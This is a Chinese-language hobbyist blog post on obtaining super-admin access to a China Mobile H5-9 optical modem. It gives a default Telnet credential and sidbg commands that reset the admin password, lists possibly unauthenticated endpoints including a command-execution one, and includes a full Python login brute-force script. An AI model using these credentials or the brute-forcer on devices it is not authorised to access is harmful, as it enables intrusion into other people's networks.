中国移动H5-9光猫超管账密获取实战

发布于 6 天前  29 次阅读


方法启发:中国移动吉比特H5-9光猫获取超级管理员权限_h5-9光猫超级密码-CSDN博客

原文中亲测有效的getpage目前已经众所周知并且失效,但由于笔者之前已经开启了Telnet,所以此处略过如何开启,后续有机会会寻找新的方法。(getpage并没有被删除,只是不对user用户开放,超管是可以访问的)

这里贴上可能的几种方案

有些光猫允许 user 账户访问某些 未鉴权的后端接口,比如:

  • /cgi-bin/getcfg.php(可读取敏感配置)
  • /formLogin.html(可绕过登录)
  • /cmd_exec(危险!可能允许命令执行)

我们输入telnet 192.168.1.1直接进入连接,用户名、密码如下:
CMCCAdmin
aDm8H%MdA

然后直接修改数据库:

sidbg 1 DB set DevAuthInfo 0 User admin
sidbg 1 DB set DevAuthInfo 0 Pass 12345678

保存

sidbg 1 DB save

注意这里如果你保持默认的CMCCAdmin用户名不变可能是登录不进去的,提示已经有用户,请推出后再登录,所以我们需要修改一个别的名字。

这样在192.168.1.1就可以登录超管的光猫界面了。


同样的,这里贴上一个基于HTML/JS分析之后的暴力爆破脚本(经过测试,路由器有后端的IP尝试次数限制,所以这个脚本实用性不大,仅供参考了属于是)

import requests
from bs4 import BeautifulSoup
import hashlib
import time

# ================ 配置区 =================
TARGET_URL = "http://192.168.1.1"
USERNAME = "admin"

# 常见默认密码 + 你怀疑的密码
PASSWORD_LIST = [
    "admin",
    "password",
    "123456"
]

DELAY_BETWEEN_TRIES = 1  # 每次尝试间隔(秒),避免过快
MAX_RETRIES = 3          # 获取 token 失败重试次数
# ========================================

def md5_upper(text):
    """计算大写 MD5 哈希"""
    return hashlib.md5(text.encode('utf-8')).hexdigest().upper()

def get_login_token(session, url="http://192.168.1.1"):
    """从登录页面提取 Frm_Logintoken,支持 HTML 和 JS 两种方式"""
    for _ in range(MAX_RETRIES):
        try:
            r = session.get(url, timeout=5)
            if r.status_code != 200:
                print(f"[-] HTTP {r.status_code} - 无法访问 {url}")
                continue

            # 方式1:从 <input> 标签中找
            soup = BeautifulSoup(r.text, 'html.parser')
            token_input = soup.find("input", {"name": "Frm_Logintoken"})
            if token_input and token_input.get("value"):
                return token_input["value"]

            # 方式2:从 JS 中找 getObj("Frm_Logintoken").value = "6";
            import re
            js_pattern = r'getObj\s*\(\s*["\']Frm_Logintoken["\']\s*\)\s*\.value\s*=\s*["\'](\d+)["\'];'
            match = re.search(js_pattern, r.text)
            if match:
                return match.group(1)

            print("[-] 未找到 Frm_Logintoken 字段(HTML 和 JS 均未命中)")
        except Exception as e:
            print(f"[-] 获取页面失败: {e}")
        time.sleep(2)
    return None

def try_login(session, password):
    """尝试登录一次"""
    # 1. 获取最新 token
    token = get_login_token(session)
    if not token:
        print("[-] 无法获取 Frm_Logintoken,跳过本次尝试")
        return False

    # 2. 构造登录数据
    login_data = {
        "frashnum": "",           # 空值即可
        "action": "login",
        "Frm_Logintoken": token,
        "username": USERNAME,
        "logincode": md5_upper(password),  # MD5 大写
        "textpwd": "",            # 前端用,我们不需要
        "ieversion": "1"          # 固定值
    }

    try:
        print(f"[→] 尝试密码: {password} (token={token})")
        r = session.post(TARGET_URL, data=login_data, timeout=5)

        # 3. 判断是否成功
        # 成功登录通常会 302 重定向 或 返回主页
        if r.status_code in (200, 302) and "登录成功" not in r.text:
            # 检查是否返回锁定页面(关键特征)
            if "错误登录次数已经达到三次" in r.text or "延时进行校验" in r.text:
                print("[!] 登录失败,且触发锁定机制")
                return False

            # 检查是否 token 过期或无效
            if "请重新登录" in r.text or "token" in r.text.lower():
                print("[!] 可能 token 失效,需重新获取")
                return False

            # 如果返回的是登录页本身,且没有错误弹窗,可能是密码错
            if "用户名" in r.text and "密码" in r.text:
                print("[✗] 登录失败:密码错误")
                return False

            # 如果响应中不含登录表单,可能是跳转成功
            if "用户名" not in r.text and "密码" not in r.text:
                print(f"[✅] 【疑似成功】密码: {password}")
                with open("success.html", "w", encoding="utf-8") as f:
                    f.write(r.text)
                return True

        print(f"[-] HTTP {r.status_code} - 未知响应")
        return False

    except Exception as e:
        print(f"[⚠️] 请求异常: {e}")
        return False

def main():
    print("🔍 开始测试 H5-9 光猫登录...")
    print(f"目标: {TARGET_URL}")
    print(f"用户名: {USERNAME}")
    print(f"密码总数: {len(PASSWORD_LIST)}")
    print("-" * 50)

    session = requests.Session()
    session.headers.update({
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    })

    for pwd in PASSWORD_LIST:
        success = try_login(session, pwd)
        if success:
            print(f"\n🎉 登录成功!密码是: {pwd}")
            break
        time.sleep(DELAY_BETWEEN_TRIES)
    else:
        print("\n❌ 所有密码尝试均失败。")

    print("测试结束。")

if __name__ == "__main__":
    main()

这就是本文的全部内容了,下一篇可能会折腾如何在user模式下进入telnet页面。


保持热爱,奔赴山海